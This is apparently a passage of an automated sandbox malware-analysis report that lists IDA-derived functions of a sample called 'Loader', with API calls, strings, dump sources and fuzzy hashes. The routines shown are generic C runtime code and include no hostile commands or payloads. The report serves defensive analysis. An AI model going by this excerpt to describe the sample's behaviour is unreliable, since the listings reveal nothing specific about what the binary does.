GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00E64D90
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00E64DA1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00E64DB2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00E64DC3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00E64DD4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00E64DE5
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00E64DF6
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00E64E07
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00E64E18
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00E64E29
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00E64E3A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00E64E4B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00E64E5C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00E64E6D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00E64E7E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00E64E8F
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00E64EA0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00E64EB1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00E64EC2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00E64ED3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00E64EE4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00E64EF5
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00E64F06
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00E64F17
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00E64F28
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00E64F39
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00E64F4A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00E64F5B

Strings

FlsGetValue, xrefs: 00E64CDB
kernel32.dll, xrefs: 00E64CB1
SubmitThreadpoolWork, xrefs: 00E64F0C
FlsFree, xrefs: 00E64CCA
CreateSemaphoreExW, xrefs: 00E64D41
GetCurrentProcessorNumber, xrefs: 00E64DEB
CreateThreadpoolWork, xrefs: 00E64EFB
GetLocaleInfoEx, xrefs: 00E64F3F
TryAcquireSRWLockExclusive, xrefs: 00E64EC8
InitOnceExecuteOnce, xrefs: 00E64D0E
CloseThreadpoolWork, xrefs: 00E64F1D
FlsSetValue, xrefs: 00E64CEC
CompareStringEx, xrefs: 00E64F2E
WakeConditionVariable, xrefs: 00E64E73
CreateSemaphoreW, xrefs: 00E64D30
SetThreadpoolWait, xrefs: 00E64DA7
SleepConditionVariableCS, xrefs: 00E64E95
CreateSymbolicLinkW, xrefs: 00E64E01
InitializeConditionVariable, xrefs: 00E64E62
SetThreadpoolTimer, xrefs: 00E64D63
SleepConditionVariableSRW, xrefs: 00E64EEA
InitializeCriticalSectionEx, xrefs: 00E64CFD
SetFileInformationByHandle, xrefs: 00E64E40
FreeLibraryWhenCallbackReturns, xrefs: 00E64DDA
CloseThreadpoolTimer, xrefs: 00E64D85
FlsAlloc, xrefs: 00E64CBE
GetFileInformationByHandleEx, xrefs: 00E64E2F
FlushProcessWriteBuffers, xrefs: 00E64DC9
CreateEventExW, xrefs: 00E64D1F
CloseThreadpoolWait, xrefs: 00E64DB8
AcquireSRWLockExclusive, xrefs: 00E64EB7
GetSystemTimePreciseAsFileTime, xrefs: 00E64E51
ReleaseSRWLockExclusive, xrefs: 00E64ED9
GetTickCount64, xrefs: 00E64E1E
CreateThreadpoolWait, xrefs: 00E64D96
CreateThreadpoolTimer, xrefs: 00E64D52
WakeAllConditionVariable, xrefs: 00E64E84
LCMapStringEx, xrefs: 00E64F50
InitializeSRWLock, xrefs: 00E64EA6
WaitForThreadpoolTimerCallbacks, xrefs: 00E64D74
GetCurrentPackageId, xrefs: 00E64E0D

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 0ccc923999a738c5421e1871643c16f76cd43b5ed43f44c69dd01ca9ba76eea2
Instruction ID: fbb3c6adcd2cf170df4c1460f3ab6b59fed62b981590b2097c6802d1234e9b81
Opcode Fuzzy Hash: 0ccc923999a738c5421e1871643c16f76cd43b5ed43f44c69dd01ca9ba76eea2
Instruction Fuzzy Hash: 40618771952750AFD704EFF6AC4D8C63BACAF49705310941AB21DF3262EBB460C99F61

Function 00E690D3 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00E691F2
___TypeMatch.LIBVCRUNTIME ref: 00E69300
CatchIt.LIBVCRUNTIME ref: 00E69351
_UnwindNestedFrames.LIBCMT ref: 00E69452
CallUnexpected.LIBVCRUNTIME ref: 00E6946D

Strings

csm, xrefs: 00E69110
@], xrefs: 00E6926D, 00E69275
csm, xrefs: 00E69229
csm, xrefs: 00E6917D

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: @]$csm$csm$csm
API String ID: 4119006552-4081610302
Opcode ID: dc0263590cde9a07dcd0203a4825e88a9839728c4926a742acdfd5c035935c57
Instruction ID: b3abd649bf5002285ab26d587a3d859a8f3e02726442308ede6c085739c7cf6b
Opcode Fuzzy Hash: dc0263590cde9a07dcd0203a4825e88a9839728c4926a742acdfd5c035935c57
Instruction Fuzzy Hash: B6B1AF31880209EFCF18DFA4E9819AEB7B9FF04394B146159E8117B253DB31DA52CB91

Function 00E70308 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,00E702F3,?,?,?,?,?,?,?,?,?), ref: 00E703AE
__alloca_probe_16.LIBCMT ref: 00E70469
__alloca_probe_16.LIBCMT ref: 00E704F8
__freea.LIBCMT ref: 00E70543
__freea.LIBCMT ref: 00E70549
__freea.LIBCMT ref: 00E7057F
__freea.LIBCMT ref: 00E70585
__freea.LIBCMT ref: 00E70595

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: e2150e0ae6830940b0885c5a1286a7e5d222339add3169d02f17ca5b6baaf659
Instruction ID: b44dc9c8227f2586e97e11b0ec45dbdcf58a42fe87bf52685ffd50534eda8708
Opcode Fuzzy Hash: e2150e0ae6830940b0885c5a1286a7e5d222339add3169d02f17ca5b6baaf659
Instruction Fuzzy Hash: E771E372940205EBDF319E64DC81BAE7BEA9F49354F28A015E91CF7281E735DD408B60

Function 00E69DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00E69EE2,00E641E0,?,00000000,?,?,?,00E69BEB,00000022,FlsSetValue,00E73DDC,00E73DE4,?), ref: 00E69E94

Strings

api-ms-, xrefs: 00E69E2A
ext-ms-, xrefs: 00E69E3E

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 57e128ee5b7dcd990c9153f98a6cd99a081d52cf77e27c5918d30c5a6d21e380
Instruction ID: 3817fd8cbcf287283d7c8c41830ce9fb65a4bc51142c785279cfe11eb54ad8fb
Opcode Fuzzy Hash: 57e128ee5b7dcd990c9153f98a6cd99a081d52cf77e27c5918d30c5a6d21e380
Instruction Fuzzy Hash: 4221F632A80210ABD721D761BC44B5A779CEF517F4F251120E91AB7293E732ED05C6D0

Function 00E5BEB0 Relevance: 9.2, APIs: 6, Instructions: 173fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00E5BF10

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a5d1abd880d748bb794f80472f98bdf7491d66b64f6368d3ab086ba2c7cc234c
Instruction ID: 94a4561da6a39d916d572393f0ffe9d0e6d070f86d706900331692e78ebe245c
Opcode Fuzzy Hash: a5d1abd880d748bb794f80472f98bdf7491d66b64f6368d3ab086ba2c7cc234c
Instruction Fuzzy Hash: CD7139B4A05209DFCB04DFACD9686AEBBF0EF48701F209919E856BB351D73499488F51

Function 00E6883A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00E68831,00E65F0D,00E655A4), ref: 00E68848
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00E68856
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E6886F
SetLastError.KERNEL32(00000000,00E68831,00E65F0D,00E655A4), ref: 00E688C1

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6b37904e011b6059d02469659ca425189f066a33266e9770ee76c75732e60b93
Instruction ID: 2a451d83daf1ea92f4f26b9822dd74ab75a254383ee6855df9ceadb34dda7cd6
Opcode Fuzzy Hash: 6b37904e011b6059d02469659ca425189f066a33266e9770ee76c75732e60b93
Instruction Fuzzy Hash: C3014C3228C2125DE7286BB67D86A5A27D4FF127F83E01339F114B61F1EF114C455340

Function 00E66F54 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,00E725EB,000000FF,?,00E67015,?,?,00E670B1,00000000), ref: 00E66F89
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00E66F9B
FreeLibrary.KERNEL32(00000000,?,00000000,00E725EB,000000FF,?,00E67015,?,?,00E670B1,00000000), ref: 00E66FBD

Strings

mscoree.dll, xrefs: 00E66F82
CorExitProcess, xrefs: 00E66F93

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7c9f8e19e6661ca2bc2ce16aaf2b2179a6d3aa93e809309b274db3e33691b1c7
Instruction ID: f27dba54bde04a3916b141e1ab27cb5390018d208237e90d1db9b310e0f49425
Opcode Fuzzy Hash: 7c9f8e19e6661ca2bc2ce16aaf2b2179a6d3aa93e809309b274db3e33691b1c7
Instruction Fuzzy Hash: 3201D631A54619AFCB11CF51EC09FAEB7B8FB04B55F044525F825F2390DB749944CA90

Function 00E6DF1D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00E6DFA2
__alloca_probe_16.LIBCMT ref: 00E6E06B
__freea.LIBCMT ref: 00E6E0D2

Part of subcall function 00E6BC45: HeapAlloc.KERNEL32(00000000,?,00000000,?,00E641E0,?,?,00E61007,?,00E5FAB5), ref: 00E6BC77

__freea.LIBCMT ref: 00E6E0E5
__freea.LIBCMT ref: 00E6E0F2

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 2cf6fa317591be3d2345e0433a7d567dc4cf177325c599a6378a9461043940cf
Instruction ID: 63b041d30eb0d2d7179d078ab64fa2cb3c3d85f7fe6e0c147ae2417b0b727fae
Opcode Fuzzy Hash: 2cf6fa317591be3d2345e0433a7d567dc4cf177325c599a6378a9461043940cf
Instruction Fuzzy Hash: 3051E476680206AFDF215F60EC41EBB76ADEF44794F255029FD14F6282EBB1DC50C660

Function 00E694F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00E693FE,?,?,00000000,00000000,00000000,?), ref: 00E6951D
CatchIt.LIBVCRUNTIME ref: 00E69603

Strings

MOC, xrefs: 00E6952F
RCC, xrefs: 00E69537

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 1c7f39e1b2a0e01d355640c01504e1505ab8c95acba0aea5fe52934b56d2ff3d
Instruction ID: a8bc74c1fc24edfba93a0280380b7c337c03fd567a6152ccf727d15b2da1b325
Opcode Fuzzy Hash: 1c7f39e1b2a0e01d355640c01504e1505ab8c95acba0aea5fe52934b56d2ff3d
Instruction Fuzzy Hash: CE418A72940209AFCF16CF94ED81AEE7BB9FF48344F189099F905B7222D7359950CB50

Function 00E6DC5E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00E6DCFA,00000000,?,00E7CCD0,?,?,?,00E6DC31,00000004,InitializeCriticalSectionEx,00E746F8,00E74700), ref: 00E6DC6B
GetLastError.KERNEL32(?,00E6DCFA,00000000,?,00E7CCD0,?,?,?,00E6DC31,00000004,InitializeCriticalSectionEx,00E746F8,00E74700,00000000,?,00E6971C), ref: 00E6DC75
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00E6DC9D

Strings

api-ms-, xrefs: 00E6DC82

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: eb560adc2025fb78eb900df3916e1dd11b35dff462c1e91cd982281eee02698e
Instruction ID: 4aa6975075219598b219b26dcf495685328b1f58d9f81f5a145f5026410c0828
Opcode Fuzzy Hash: eb560adc2025fb78eb900df3916e1dd11b35dff462c1e91cd982281eee02698e
Instruction Fuzzy Hash: 12E048307C4209BFEF206B62FD4AB587F69AF10B94F545020F90DF80E1FBA29955D544

Function 00E6E5E8 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00E6E64B

Part of subcall function 00E6D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,00E687B1,?,00000000,?), ref: 00E6D192

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00E6E89D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00E6E8E3
GetLastError.KERNEL32 ref: 00E6E986

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bce82268ca1c78cf70e2e8fb9a11f2f9ab95ede7ee5ad996d6ae27d31a225c8a
Instruction ID: 1c7cbf8ba6e8b0b76ff17156af272e14939378c722a6ade1f7373c9e0e3af098
Opcode Fuzzy Hash: bce82268ca1c78cf70e2e8fb9a11f2f9ab95ede7ee5ad996d6ae27d31a225c8a
Instruction Fuzzy Hash: 90D18979D002489FCB15CFA8E8809EDBBF9EF48354F28456AE456FB391D730A946CB50

Function 00E68EFC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00E68FC3
___AdjustPointer.LIBCMT ref: 00E68FE6
___AdjustPointer.LIBCMT ref: 00E69082

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 329028dafe53bbab2474ea524b4e162603139261b04e2dafaa15e1f3b83263ab
Instruction ID: 7b962daae82f24dbeb877bcc17f76949adea877fdfd5607d56a5f246959cb164
Opcode Fuzzy Hash: 329028dafe53bbab2474ea524b4e162603139261b04e2dafaa15e1f3b83263ab
Instruction Fuzzy Hash: C351F672685606AFDB288F14F941BBA73E9FF50384F14511DE945BB192DB32EC40C790

Function 00E6C5B8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00E6D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,00E687B1,?,00000000,?), ref: 00E6D192

GetLastError.KERNEL32 ref: 00E6C61C
__dosmaperr.LIBCMT ref: 00E6C623
GetLastError.KERNEL32(?,?,?,?), ref: 00E6C65D
__dosmaperr.LIBCMT ref: 00E6C664

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 41475a0f68f603750796b9f33a27c1d667359f12a1c2ce8dbb0ff532e06be0a6
Instruction ID: 5a8669a689152a7f7e47938d97c3994315055bd2d3a4444a421aa5a55edcb462
Opcode Fuzzy Hash: 41475a0f68f603750796b9f33a27c1d667359f12a1c2ce8dbb0ff532e06be0a6
Instruction Fuzzy Hash: 5521B671680205AF9B109F65EC8097E7BE9EF453E8720B519F8AAF7111D730EC818BA4

Function 00E6CB54 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0c3def469129952099306e5a4c3537064ff9ca9c63873a60108462662855cd2
Instruction ID: 4058ff9612a395a2f14f46bbd0294b10dc0764c1ccdab50530acbe0192bb68a3
Opcode Fuzzy Hash: c0c3def469129952099306e5a4c3537064ff9ca9c63873a60108462662855cd2
Instruction Fuzzy Hash: 5721C271280205AFCB20AF65BC95C7AB7A9AF413E87205925F8ADF7551DB30EC80D790

Function 00E6D22D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00E6D235

Part of subcall function 00E6D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,00E687B1,?,00000000,?), ref: 00E6D192

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00E6D26D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00E6D28D

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
